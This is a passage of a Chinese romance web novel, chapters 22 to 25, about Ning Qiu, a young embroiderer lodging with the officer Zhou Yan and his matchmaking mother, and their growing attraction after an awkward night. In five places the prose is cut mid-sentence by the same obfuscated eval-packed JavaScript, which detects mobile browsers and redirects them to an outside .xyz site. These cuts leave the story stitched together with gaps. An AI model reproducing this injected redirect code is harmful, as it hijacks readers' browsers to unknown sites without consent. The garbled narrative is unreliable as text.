“你昨晚是不是没睡好，瞧那黑眼圈，砚哥儿半夜回来吵到你了？” 周母只知道儿子是半夜回来的，却不知半夜发生了什么事，这会儿看见宁秋的状态很不好，随口一问。 宁秋微愣，刚死的记忆又复活了。 她面上露出尴尬的神情，敷衍地回道：“没，昨晚落枕了，所以没睡好，跟周大哥没关系。” “那就成。”周母小心打量宁秋的表情变化，心里不信她的说辞却也没拆穿，继续说道：“砚哥儿平日很忙，有时候出城办差没法按时回家，半夜翻墙回来的情况也不少，你习惯就好。” “嗯。”宁秋点点头。 “赶紧洗漱吃早饭，砚哥儿还没醒，他上午应当不去府衙了，你自己出门小心点。” 周母将早饭摆上桌，还是不放心，忍不住多叮嘱几句。 “好。”宁秋乖乖应声，同时也松了一口气。 昨夜的场景着实尴尬，她还没想好如何面对周砚，能不见面还是先别见了，等她调整好心态再说吧！ 周母不知宁秋心中所想，还在一个劲叮嘱，甚至想亲自陪同，直接送她去金绣阁，宁秋好说歹说才将人劝住了。 辰时左右，宁秋背上自己的小布包独自出门，她前脚离家，后脚周砚的屋门就打开了。 他一脸疲惫走出来，整个人无精打采，机械地打水洗漱，瞧着似乎还没完全清醒。 周母很是讶异，问道：“瞧你那样明显没睡好，以往出城办公差半夜回来，第二日上午都不用去府衙，今儿怎么不多睡一会儿？” “睡不着了。”周砚简单回应一句就闭了嘴，一副不想多说的模样。 “睡不着？” 周母疑惑地看向周砚，越发觉得不对劲起来，当即便问道：“你的睡眠一向好，沾枕就着，竟也有睡不着的时候？难得，可是办差遇到难处了？” 周砚本就心烦想独自静一静，偏偏自家阿娘关心则乱，一开口就问个不停，他回话也渐渐失去了耐心。 他道：“没有难处，娘，您莫要瞎操心，孩儿没事，好得很，别问了，让我静一静。” “好好好，儿大不由娘，多关心两句人家还嫌烦了，惹不起惹不起。” 周母阴阳怪气地碎碎念，到底没再多问。 她看了看臭脸的儿子，心里有点不舒服，不过还是担心占了上风，外面的事她帮不上忙，问了也是白问，不如去厨房帮忙热个早饭。 孩子大了，真有什么需要父母帮衬的事他自己会开口，若是不愿意说，只能表明还不到开口的时候，或者他能自己摆平无需帮忙。 周母想的开，很快就将心中那点不舒服摆脱了，反倒是周砚如愿获得安静环境后，内心始终平静不下来。 原因无他，都是昨晚那一出闹的。 周砚并非矫情之人，裤子穿着，光个上身被别人看到也没什么，又不是没漏过。 可不知是不是昨晚光线和氛围的问题，被宁秋撞见后，当晚他竟然做了那种不能言说的梦，画面是那么的真实，让他一度恍惚，现在回想起来都恨不得扇自己两个大耳光。 太不要脸，太龌龊了。 周砚的道德感很强，难以接受自己做那样的梦，因此惊醒后陷入自我怀疑之中，不断批判自己，即便困倦不已也无法再入睡了。 现在的他看到水井边的两个桶会想起昨晚的事，余光瞥见宁秋房间门会想起昨晚的场景，就连看见墙角立着的扫把也会不自觉想到宁秋…… 这个家那么熟悉，又那么陌生。 周砚感觉自己要疯了，不知该如何面对宁秋，所以他选择了逃避。 这日之后，周母和宁秋发现周砚越来越忙了，三天两头就要出城办公差，有时候半夜才回来第二日又早早离开，有时候连续几日都不见人影，也不知道他在忙什么。 一晃半个月过去，明明住在同一个屋檐下，来来回回那么多次，宁秋却发现自己与周砚一次面也没碰上，时间一长，连他的样貌都要模糊了。 “砚哥儿最近越来越不像话了，连陪亲娘吃顿饭的时间都没有，每次回来匆匆见一面又匆匆离开，家都快被他住成客栈了。” 周母到底是没忍住在饭桌上与宁秋吐槽，同时也担心儿子在外出事，嘴上不停道：“他回来平州两年多，也在府衙当了两年差，从未出现过这样的情况，问他是不是遇到难处，他也不肯透露一星半点，只说让我别担心，一切都好。” “可我是做母亲的，儿子出门在外哪能不操一点心？唉，等他回来，我得好好说说他。” 宁秋原本没多想，这会儿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15611434|171183||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 听到周母的话不禁多心沉思起来。 算起来，周大哥是那天之后就开始变得忙碌，婶娘时不时能见到他，而她半个月下来一次都没见到。 宁秋话本子没少看，什么乱七八糟都懂一点点，此时不禁怀疑起周砚来。 他是不是在避着她？ 周砚的人品没得说，之前他就不赞同宁秋住进来，觉得不方便还会影响宁秋的名声。 而那晚不小心看见周砚冲澡，可不就是应了周砚之前的顾虑么？ 别样的念头升起，宁秋不禁陷入了沉思。 “秋秋啊，你下次见到砚哥儿也问问他什么情况，有些话他或许不愿意跟长辈说，但你们是朋友，你来问他没准就愿意说了。” 周母往宁秋碗里夹了一块肉，语气温和地交代道。 宁秋闻言回过神来，无奈苦笑。 她将嘴里的肉咽下去，回道：“半个月来我一次都没见到周大哥，即便想问也没机会啊！” “嘿，一次都没见到？”周母不可置信地反问。 她心里还惦记着让宁秋做她的儿媳妇，现在两孩子连面都见不上还怎么培养感情？ “嗯，一次都没见到。”宁秋自己也觉得不可思议。 饭桌上瞬间安静，周母也不知道说什么好了。 许是二人的惦念起了作用，宁秋话落没多久屋外突然响起均匀的脚步声，二人皆是一愣，随即不约而同地看向门口。 片刻后，周砚风尘仆仆、胡子拉碴的邋遢形象出现在二人眼前。 他的目光在进厨房的第一瞬便与宁秋的目光对上了，随即装作若无其事迅速地躲开。 这般反应，更是应了宁秋的猜想。 “娘，我回来了。” 他沉声和周母打招呼，没有要坐下一块吃饭的意思，也没跟宁秋打招呼，像是没看见她一样。 “今儿这么早，差事都办完了？顺不顺利？”周母高兴地站起来，“正好是饭点，赶紧洗手吃饭吧！” “嗯。”周砚用余光偷瞄宁秋，犹豫片刻后，还是选择坐下来一块吃饭。 毕竟半个月过去，借口都找腻了，今天回来那么早还推诿不陪阿娘吃一顿，她肯定得生气。 至于宁秋，周砚感受到她的打量了，但是没好意思回看过去，姑娘家脸皮薄，她肯定不会主动提那晚的事，既如此，他们可以像之前那样相处，就当没发生过吧！ 他扒拉几口饭，面上淡然，看不出什么，心里却在不断碎碎念，一顿饭吃下来，已经将自己说服了。 22. 询问 “怎么回事你倒是说句话啊，臭脾气，一点也不懂体贴老娘，亏老娘整日提心吊胆地担心你，怕你遇到危险，怕你受伤，你倒好，锯嘴的葫芦死活问不出一个答案，没意思。” 周母没好气地追问，顺便往儿子碗里夹了好几块红烧肉，等着他的回答。 “去了云县清水镇那边，涉及公务不便多说，娘，您老就放心吧，问那么多做什么，有不帮上忙。” 周砚随口敷衍，下意识看了宁秋一眼。 其实他前几天也去章回县了，有个案子涉及章回县的主簿，知府大人命令他和陈安陈淮两兄弟走一趟，将人“请”回来。 宁秋便是章回县人，她家中的情况周砚也知道一些，担心突然提及章回县会让她想起伤心事，就没提。 反正他娘只是想听他说说话，并不是较真他去了哪里。 “我是你娘，辛辛苦苦拉扯你长大，问几句怎么了？还帮不上忙，帮不上就不能问了？” 周母哼哼两声，实在气不过，直接将青菜和红烧肉的位置调换，原本摆在周砚面前的那盘红烧肉便到了宁秋的面前，她还往宁秋的碗里夹了好几块。 红烧肉肥瘦相间，颜色艳丽，让人一看就很有食欲。 宁秋今晚已经吃了三四块红烧肉，原本要停手控制一下自己，现在看到周母的骚操作顿时哭笑不得。 “秋秋，来，多吃点，别给混小子留，他不配。”周母又是一声冷哼，附带给周砚一个白眼。 周砚：…… 他娘的脾气越来越古怪了。 “多谢婶娘，您也吃。” 姑娘清凌凌的说话声短暂缓和了气氛，温温柔柔的，听在人耳中很舒服。 “哎哟，还是闺女贴心，不像某个臭小子，不讨喜，难怪讨不到媳妇。” 周母意有所指，一边嘚瑟宁秋的贴心，一边挤兑自家儿子，恨铁不成钢，还悄摸摸给他使眼色。 这个不争气的儿子她是不想要了，好说歹说，人家都不放在心上。 宁秋住进来半个月，他就在外面晃荡了半个月，嘴上说着忙，公事多，依她看就是借口多，前两年怎么没见忙到这个地步？人家陈淮陈安也在衙门当差，怎么就能天天按时回家？ 就他忙，忙到没时间回家，鬼都不信。 周母一个劲在心里吐槽，看儿子更加不顺眼了。 宁秋很是尴尬又不好掺和，周母跟她说话，她就打哈哈敷衍过去，然后继续闷头吃饭。 周砚就更不用说了，阿娘啰里吧嗦的念叨他早已习惯，左耳进右耳出，心情好或者躲不开的时候掰扯一二，心情一般全当没听见，不予理会。 一顿饭下来，只有周母食不知味，心里更气了。 饭后，宁秋主动包揽了收尾清洗的活，也相当于占据了家中唯一的水源，周砚赶了一天路浑身脏兮兮的，拎着水桶好几次想过去打水都因为心中的顾虑没能跨出那一步。 他在厨房门口踌躇，明明没什么事还要假装很忙的样子，周母一眼就看穿了。 她走过去皱眉问道：“砚哥儿，你是嫌厨房的门坎太高所以想踩低一点吗？” “没有。” 周砚听出了阿娘话里的意思，顿时满头黑线，终于舍得放过那门坎转而走向厨房大锅处，往桶中添了两瓢热水，欲盖弥彰道：“我在纠结要不要加热水，今日好像比前些天更冷了一点。” “废话，都入冬了，自然会变冷。”周母觉得儿子在没话找话说，但是她没有证据。 “是啊！所以还是加点热水，以免染风寒。” 周砚实在装不下去了，说完这一句立马拎起水桶吭哧吭哧走出厨房，直奔水井位置。 院子就那么点地，他的动静又大，宁秋想不注意都难。 水井边上，二人一低头一抬头，毫无意外目光再次碰撞上了，他俩的反应都很大，立马避开，一种无法描述的气氛在二人之间蔓延开来。 周母意外注意到这一幕，双眸发亮，啧啧两声回了自己屋，一直到天黑才出来洗漱沐浴。 用她的话来说，把时间和空间留给年轻人好好培养感情，不在外头碍眼。 周砚打水的动作很快，半刻钟不到就兑完两桶温水了。 一样的桶，一样的位置，一样的人。 此时此刻，他与宁秋都不约而同回想起那晚的场景，又一次对上了目光。 周砚莫名感到心虚，逃命似的提起两桶水冲向浴间。 “周大哥！” 宁秋的反应也很快，呼唤脱口而出，竟直接起身拦在周砚的面前。 她双臂张开，目光灼灼，似乎下定了什么决心，一咬牙，直白地问出心中的疑惑，“周大哥，你是不是在躲我？” 周砚没想到宁秋会突然拦人，急急收住前扑的动作，水桶按照惯性往前倾，桶里的水直接荡出小部分，宁秋的裤腿也因此湿了一大片。 宁秋愣住，周砚也傻眼了。 “对不起，我没想到你会突然阻拦，前行受阻，力道控制不稳水便出去了。” 周砚放下水桶，一边解释一边蹲下来准备查看宁秋裤脚的情况，蹲至一半，突然意识到不妥，赶忙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15616782|171183||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 站直身体，不好意思地对宁秋说道：“天冷，你……你赶紧将湿裤子换掉，要是着凉就麻烦了。” 他说话有些磕巴，小心翼翼避开了宁秋探究的目光。 宁秋低头看了一眼裤脚和鞋子，湿答答粘着皮肤确实很不舒服，但还在可以忍受的范围内。 相比于回屋换裤子换鞋子，她现在更想从周砚口中得到一个答案。 她的目光不躲不避一直盯着周砚，继续追问道：“这个不急，一时半会儿不至于着凉，周大哥，你还没回答我的问题呢！你是不是在躲我？” “没有。” 周砚的拳头紧了又松，松了又紧，否认道：“我躲你干嘛？这里是我家，连你都是我带回来的。” 许是觉得语气太生硬，他又补充道：“若不是因为太忙顾及不到家中，我也不会花钱请你过来帮忙照顾我娘，分担一下家务活，你莫要多想，我不在的时候，还要劳烦你多费心了。” “真的不是躲我？” 宁秋有点不信，漂亮的双眼不住地打量周砚，目光太过直白灼热，周砚感到无所适从，想逃却逃不掉。 “不是。”周砚硬着头皮回答。 得到肯定的答复，宁秋顿时松了一口气，露出灿烂释然的笑容。 她突然上前一步拍了拍周砚的臂膀，朗声道：“不是就好，还以为你害羞不好意思见我了呢！我就说嘛，男子汉大丈夫，光个膀子很正常，以前在县城，我们巷子的叔叔伯伯哥哥弟弟一到夏天就不爱穿衣裳，出门一趟都能碰见好几个光膀子的人。” 宁秋说着，突然发现周砚的面色不对，笑容收了收，脑子不知是不是出了毛病，她嘴一快，突然找补道：“不过周大哥你和他们还是不同的，你的身材比他们好。” 周砚：…… 此话一出，宁秋后知后觉反应过来自己说了什么话，表情一僵，心情瞬间跌落谷底，脑子也变得一片空白，被自己惊到了。 她试图挽回自己的形象，但是又感觉言语好苍白。 片刻后，她才尴尬道：“呃！哈哈……哈哈……我开玩笑呢！周大哥你别放在心上，对了，我裤子鞋子还湿着，先回屋换掉，周大哥你……你随意哈！” 宁秋要疯了，她刚刚说了什么？她当着周大哥的面夸他身材好，这是能直接说的吗？ 她现在已经顾不得周砚什么反应了，只想尽快逃离这个尴尬地，然后将她枕头下的话本子统统扔掉。 话音一落，宁秋转身就跑，砰一声关上了屋门。 呜呜，她再也不敢乱看书了，太丢人了。 23. 亲近 屋门关闭的响声仍在耳边回荡，宁秋的话如旱地惊雷顷刻间在周砚的心中炸开，那些欲盖弥彰的解释、借口，一字一句犹言在耳。 周砚感觉自己在梦中，晕乎乎的，不然怎么会听到如此胆大包天的言论？还是从宁秋嘴里说出来的。 他满心震惊，却不觉得是宁秋的问题，第一反应是怀疑自家阿娘在宁秋面前乱说了什么话，把好好的姑娘教坏了。 周砚面色不虞，沉默片刻后重新添满两桶水，先将自己收拾干净，而后趁他娘还没睡，找上门与她好好谈一谈。 侧屋，周母一听儿子有事找她还很意外，亲自开门让他进去了。 “娘。”周砚沉声呼唤。 “这么晚了找老娘有什么事？赶紧说，我准备睡觉了。” 周母疑惑，以她对儿子的了解，没有紧急事情一般不会这个时辰找她，还一副正经严肃的神情，明显有问题。 周砚没有拐弯抹角，看向亲娘的眼神很复杂，一言难尽。 缓一缓，他用商量的口吻正色道：“娘，您催我成亲可以理解，但是您能不能不要在宁姑娘面前胡说八道，您实在喜欢她，就接受儿子之前的提议，认她做义女，这样她留在咱们家中照顾您就很合理了。” “什么？我什么时候在秋秋面前胡说八道了？” 周母一脑袋问号，左思右想也没想起自己在宁秋面前胡说什么？ 她很是疑惑，也有些生气，当即反驳道：“你个不孝子，十天半个月不见人影就算了，一回来就给我泼脏水，在你心里，娘就是那种不靠谱胡乱嚼舌根的人？你你你......你是不是想气死我？” 周母捂住胸口，感觉有口气喘不上来，周砚见状赶忙上前帮她顺气。 便听她又道：“这半个月来，秋秋与我相处的极好，我怜她孤苦处处爱护，她心疼我劳累，在家的时候几乎包揽了所有家务活，连汤药都准时熬好端给我喝，我们没有亲缘关系却亲如母女，关系好得很。你最好给我说清楚，我在秋秋面前胡说什么了？是她跟你说的，还是你自己的臆想？” “不是，跟宁姑娘没关系。”周砚怕阿娘误会，赶忙解释道：“宁姑娘什么也没跟我说，是我自己觉得不对劲，所以随口问一问。” “呸，你这是随口问吗？你这是指向明确的质问。” 周母实在太生气了，没忍住用力在周砚身上捶了好几下，将积压在胸腔的那口气发泄出去，心里才好受一点。 “说吧！到底发生了什么事？以娘对你的了解，你不是那种无的放矢之人。” 周砚抿了抿唇，知道自己误会阿娘，心中有些愧疚，但是又不好开口解释，实在是真相太让人羞耻了。 “说啊！三巴掌打不出一个屁，刚刚往老娘身上泼脏水时说话不是挺溜的么，还真是少见，我儿的嘴还能一次性说那么多话，现在倒成哑巴了，我王桂花怎么生出你这个棒槌，真是气死我了。” 周母性子爽利，最受不了儿子深沉纠结的一面，都是一家人有什么话直说便是，遮遮掩掩半天也没说到重点，办差的时候也不见他有这个毛病啊！ 遇到私事就这样，不敞亮。 周砚犹豫再三，最终还是在阿娘嫌弃又恼怒的眼神注视下开了口。 他双眼一闭，像是下定了某种决心，咬牙道：“宁姑娘看到我洗澡了。” 周母：“！！！” 她瞪大了双眼，一度以为自己听错了。 随即便听周砚补充道：“别多想，我穿着裤子。” 阿娘嘴角一勾，他就知道她的心里想什么，八字还没一撇就开始窃喜了，确实是他娘的风格。 为免周母胡思乱想，周砚继续说道：“这倒没什么，天气热的时候到处都能看到不穿上衣的男子，只是我这次回来听到了流言蜚语，一下子将两件事联想起来。” 有些细节不好跟长辈说，周砚便挑拣一些自己与宁秋之间发生的事，再结合在外面听到的流言蜚语，真真假假，虚虚实实，简单叙述给周母听。 周母听完沉默了，看向儿子的眼神中多了一抹同情。 良久后，她才幽幽说道：“堂堂九尺好男儿，白长一副唬人的样子，竟还不如一个小姑娘。” “嗯？”周砚微愣，不是很明白周母话中的意思。 周母道：“原本我还担心秋秋没开窍，空有讨儿媳妇的心，对方啥也不懂，今夜才明白，没开窍的还有我的好大儿。” 说着，她叹气，语重心长道：“儿啊，果真是媳妇送上门你都不知道接，月老在天上看到你这样都会忍不住骂人，明明已经用了最好的红绳捆绑你的姻缘，偏偏你如此不争气，他老人家不抓狂才怪。” 周砚：...... “事到如今，娘也看开了，感情这种事还是要你自己搞明白，实在不行，娘明日去长椿街请柳神婆帮忙算个好日子，将秋秋认为义女。” 周母心累，朝周砚摆了摆手，“别在我屋里杵着了，碍眼。” 周砚挠挠头，看了他娘一眼沉默着走了出去。 一出门，他抬眼看向水井边，就见宁秋坐在小矮凳上搓洗衣服，走近一看，他不由呼吸一紧，整个人都不好了。 盆里正在搓洗的是他的衣裳，而宁秋和周母的衣裳已经洗好晾到衣杆上。 周砚面色涨红，颜色变化在逐渐降临的暮色中并不是很明显，片刻功夫他已经上前抢走了水盆，磕磕绊绊说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15623218|171183||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道：“那个，宁姑娘，衣裳我能自己洗，就不麻烦你了。” “不麻烦啊！我收了月银来做小工，洗衣做饭扫地不都是我应该做的吗？” 这份工包吃包住，时间自由，婶娘对她也很好，要是干点活还挑三拣四像什么话？ 宁秋不是那种不识好歹的人，周砚母子对她好，她自然也要回报，当即便想将水盆抢回来继续洗。 她道：“周大哥，你公务繁忙奔波一天了，早点休息，就两三件衣裳我来洗就好，给我吧！” “不用不用，我自己来。”周砚躲开，直接高举水盆，身高差距摆在那，宁秋就是想抢也够不到。 拉扯间，宁秋鞋底沾水突然一滑，整个人朝周砚扑去。 周砚的动作比脑子快，手中的盆一丢，顺势一揽，宁秋就被他牢牢箍在怀中了。 柔软与坚硬的碰撞，二人同时僵住，脑子清空，身体反应好似停滞了，迟迟没有下一步动作。 也不知过了多久，周母房间的方向传来一声敲击，二人的神思猛然回笼，一松一推，距离便拉开了。 “那个，呃，周大哥，衣服你自己洗吧！我有点累，先回屋休息了。” 宁秋满脸通红，神色慌张，草草留下一句话不等周砚回答就逃一般跑回屋。 中途她的脚步踉跄一下，不小心踢到了立在墙角的扫把，扫把应声倒地，然而她只顾着逃避躲藏，根本没注意到扫把，眨眼的功夫就进了屋。 屋门隔绝内外，二人的反应彼此间都不知道，但他们都有一个共同的反应，心跳在此时此刻好似同步了。 周砚眼睁睁看着姑娘的身影消失在眼前，目光停留在屋门上，良久才缓缓收回来。 他的心跳急促有力在胸腔中不停震动，没有丝毫减速的意思，怀中还残留着独属姑娘的柔软清香，盈盈绕绕，无意间也勾住了他的心神。 周砚的脑海中有灵光闪过，那是一种难以描述的感觉，此时此刻，阿娘方才的话他好像明白了。 那些看似荒唐的提议或许可以试一试。 周砚渐渐平复内心的悸动，常年沉静的双眸闪过一抹笑意。 他心想：“感情是两个人的事，还需找机会问问宁秋的看法，她对自己是否也有好感？若有，他俩便试一试，若没有，早点说清楚也好。” 不管宁秋做出哪一种选择，他都不会有异议。 当然，确定宁秋的意愿之前，他需要提前处理好在老槐巷内传播的流言。 他可以不在乎名声，但宁秋不行。 姑娘家一言一行都备受瞩目，各种条条框框罗列下来，再被人添油加醋胡说一通，黑的都能说成白的，好好的名声就毁在三言两句间了。 24. 流言 周砚是行动派，想通其中关窍后，他深深看了宁秋房间一眼，埋头吭哧吭哧洗衣服。 周母通过窗户缝隙观察庭院里的情况，这会儿总算露出了满意的笑容。 不愧是她王桂花的儿子，“大器晚成”也是成了，她要多点耐心，迟早能如愿。 母子俩各有各的想法，总的来说大方向是一致的，心境也相对平和，相 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15624955|171183||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 比之下，宁秋的状态则很不稳定。 她还年轻，阅历浅，身边没有靠谱的女性长辈指引，有心事也不知道能跟谁说，第一次面对陌生的悸动心中总觉得很不安。 25. 商议 周母独自在家，也听到外面的喧闹了。 她偷偷打开一条门缝查看，发现被打的人是庞桥，打人者长得凶神恶煞，下手一个比一个狠，吓人得紧。 担心惹祸上身，她根本不敢冒头，等外面的斗殴结束，其他人陆陆续续出现，才开门凑一下热闹。 不过，她只是好奇庞桥会被打成什么样，并不想听庞家人哭嚎，看两眼就回家了，这会儿正在厨房里烧热水呢！ 大门一开一合的声音传进厨房，她立马出来一脸八卦地对周砚和宁秋说道：“你们回来了，门口那一家子的报应看到了吗？” 周砚和宁秋点点头。 周母幸灾乐祸，继续道：“哼，人活一世，不过短短几十载，要我说还是得讲良心，坏事做太多迟早会遭报应，庞家人就是现成的例子，以后都别想好过咯。” “你们俩给我记好了，无论将来遇到什么事，遭遇什么困难，都要始终坚持走正途，不然我......老娘第一个不放过你们。” 周砚、宁秋：...... “老娘”都出来了，周砚很是无语，当即也不给亲娘留脸面了，臭着脸道：“娘，孩儿在衙门当差，受官家管束，能走什么歧路？我看您老就是太闲了，一天到晚瞎操心，见一出是一出。” 周母不服地反驳道：“衙门当差就不会走歧路了？哼，贪官污吏也不少，你自己注意点，就算没有那种想法也要防着别人陷害你，防人之心不可无。” “行行行，您老说得都对。” 周砚一边敷衍一边将手里提着的菜放到桌子上，给宁秋使了个眼色，宁秋意会立马开始干活。 今晚的菜是她为了庆祝晋升二级绣娘特意采购的，要做什么菜品她心中有数，周母见宁秋不发一言就忙活起来，也顾不得说教儿子了，立马参与进来，还不忘扯儿子一把，催促道：“别傻站了，豆芽、青菜拿去洗，没点眼力见。” “嗯。” 周砚懒得争辩，一个鼻音也算是回应了。 随即他捞起菜篮子慢悠悠走向水井，看了眼地上的小矮凳幽幽叹了一口气，认命地坐下埋头干活。 明明是一本正经的表情，却莫名带了点喜感，宁秋见状扑哧笑出声，意识到自己失态又立马收敛憋笑。 周砚循声看过去，眼神淡淡的，似乎在询问宁秋什么情况，宁秋不语，轻哼一声迅速淘米，端着锅施施然进了厨房。 厨房内很快传出周母与宁秋的说笑声，她们似乎相处的很好，短短半个月时间关系直接拉近一大截，这是周砚不曾想到的发展。 他凝眉抿了抿唇，有些心烦意燥，手中洗菜的动作也加快了。 豆芽瞧着很干净，他便全部倒入水中，厚实的手掌在水里左三圈右三圈，趁着水势未稳迅速捞入菜篮之中，轻轻抖一抖，任由带入菜篮的水从缝隙滤出。 “你好了没有？一点豆芽洗半天，要起锅了。”周母在厨房窗口大喊。 “来了。” 周砚没细看篮中豆芽的情况匆匆送进厨房，当场就被周母数落一通，说他笨手笨脚，那么嫩的豆芽过一遍水就成，也不知他怎么洗的，全断了。 “让你洗掉点菜都做不好，还有青菜没洗，别磨磨蹭蹭。”周母碎碎念，总看儿子不顺眼。 “豆芽本就脆嫩，断了也正常，又不影响吃，娘，您看我不顺眼直说就是，没必要故意挑剔我。” “嘿，你个臭小子。”周母作势要打人，周砚立马闪身出去了。 他感觉阿娘最近的脾气越来越差，无论他做什么都要说上几句，从她的眼神表情到言语，无一不透露着对他的嫌弃，简直是一言难尽。 一次两次能忍，天天说谁受得了啊？ 周砚无奈德摇摇头，赶紧将青菜洗干净拿回厨房递给掌勺的宁秋。 宁秋做菜的手艺不错，正炒着豆芽，面前突然出现一篮子青菜挡住了视线，她赶忙推开，没好气地瞪了周砚一眼，恼道：“你是不是故意的？挡住我视线了，放旁边。” “好。” 周砚痛快应声，眼睛一会儿看锅中不断翻炒的豆芽菜，一会儿停留在宁秋脸上，视线流转间，内心前所未有的平静。 他很喜欢这样的感觉，平静到仿佛一辈子都不会变。 “盐罐递给我。”宁秋道。 周砚：“好。” “别在旁边碍手碍脚。”宁秋继续道。 周砚：“好。” 盐罐刚递出去立马收到驱逐令，周砚面上的平静有一瞬间的皲裂，但还是默默离灶台远了两步。 这会儿周母又有话说了。 她将周砚和宁秋的反应都看在眼里，幸灾乐祸道：“儿啊，长点心吧！没看见我家秋秋正忙着吗？” “你活干不好，还上赶着挡路，可不得被嫌弃了，要不你来烧火，为娘年纪大了，才坐一会儿就腰疼，哎呦，还是闺女懂得心疼人，不像儿子，傻站半天碍手碍脚也不知道过来替老娘干活。” 周母一边阴阳怪气一边给周砚使眼色，周砚又不傻，自然明白她话中的深意。 换作以前，底线摆在那里，他对宁秋没有别样的心思自然也不会如了阿娘的意，可初冬那晚，宁秋脚滑摔入他的怀中，软玉温香，双方意外有了肌肤之亲，他再面对宁秋时，心思已不如之前纯粹了。 周砚很清楚自己心中的想法，若宁秋不介意，他想和她试一试。 细算时间，距离那次接触已经过去一个月了。 许是害羞避嫌，起初一段时间宁秋会刻意躲着他。 二人见面说话，语气间尽是冷淡疏离，明明相对而立，却又感觉彼此间隔着一堵墙。 周砚自己也逃避过，所以很能理解宁秋那时候的心情。 他不确定宁秋的想法是否与他之前相似，所以他选择了配合，主动维护她建立起来的“防护墙”，暗暗地观察，了解她的喜好和更深一层的性格，从细微处一点点渗入她的生活中。 他们晨起出门上工，同行一路，周砚会尝试找话题勾起宁秋的表达欲，倾听她的观点和想法，适当接话，就算宁秋不想说，他也不会强求，有意无意地拉近彼此的心理距离。 有时候公办路过金绣阁，他也会找借口带些点心或其他吃食给宁秋。 要是下衙早，他就放弃操近道，特意走主路，“偶遇”宁秋一块回家。 一件件一桩桩的小事汇集在一起，潜移默化的陪伴，周砚能感觉到宁秋对他的态度软化了。 他们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15639705|171183||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 之间依旧恪守礼节，但相处起来更随性自在，说话也没那么多顾忌。 就好比现在，宁秋都敢直接开口让他走开，嫌弃他碍手碍脚耽误事，这般态度，跟真正的家人也没什么两样了。 周砚欣慰的同时又莫名觉得自己可怜，一个个都嫌弃他，明明他很勤快也很主动帮忙做事了。 猛男心里委屈，但不能说，很影响自己正经成熟的形象。 就在周砚沉默烧火，脑子里天马行空胡思乱想的时候，宁秋抽空嘱咐了一句：“周大哥，我要炒青菜了，你添一把火。” 青菜就是要放猪油大火炒，吃起来才香甜。 周砚不是第一次打下手很清楚这个要点，看到宁秋开始炒猪头肉，他便着手添细柴了。 二人配合默契，菜品全部出锅。 宁秋抬起手臂擦了擦额头上的汗水，露出一个满足的笑容。 吃饭前，她郑重宣布自己通过考核晋升二级绣娘的好消息，周砚母子俩都为她感到高兴。 看到宁秋明媚的笑脸，周砚心情大好，没忍住多添了两碗饭，扫光了剩下的菜品，碗筷清洗他也包揽了。 “周大哥，我有一件事想和你商量。” 周砚刚收拾完厨房，一转头，就见宁秋犹犹豫豫朝他走来，也不知道要说什么事，瞧着蔫蔫的，没什么精气神，还一直低着头不看他。 他心生疑惑，淡声回问：“怎么了，要说什么事？” “那个……”宁秋欲言又止，终于舍得抬眼看向面前的男人了，“我住进你家将近两个月，给你和婶娘添麻烦了。” 周砚没接话，心中突然有种不好的预感，但还是按捺住询问的冲动等待宁秋的下文。 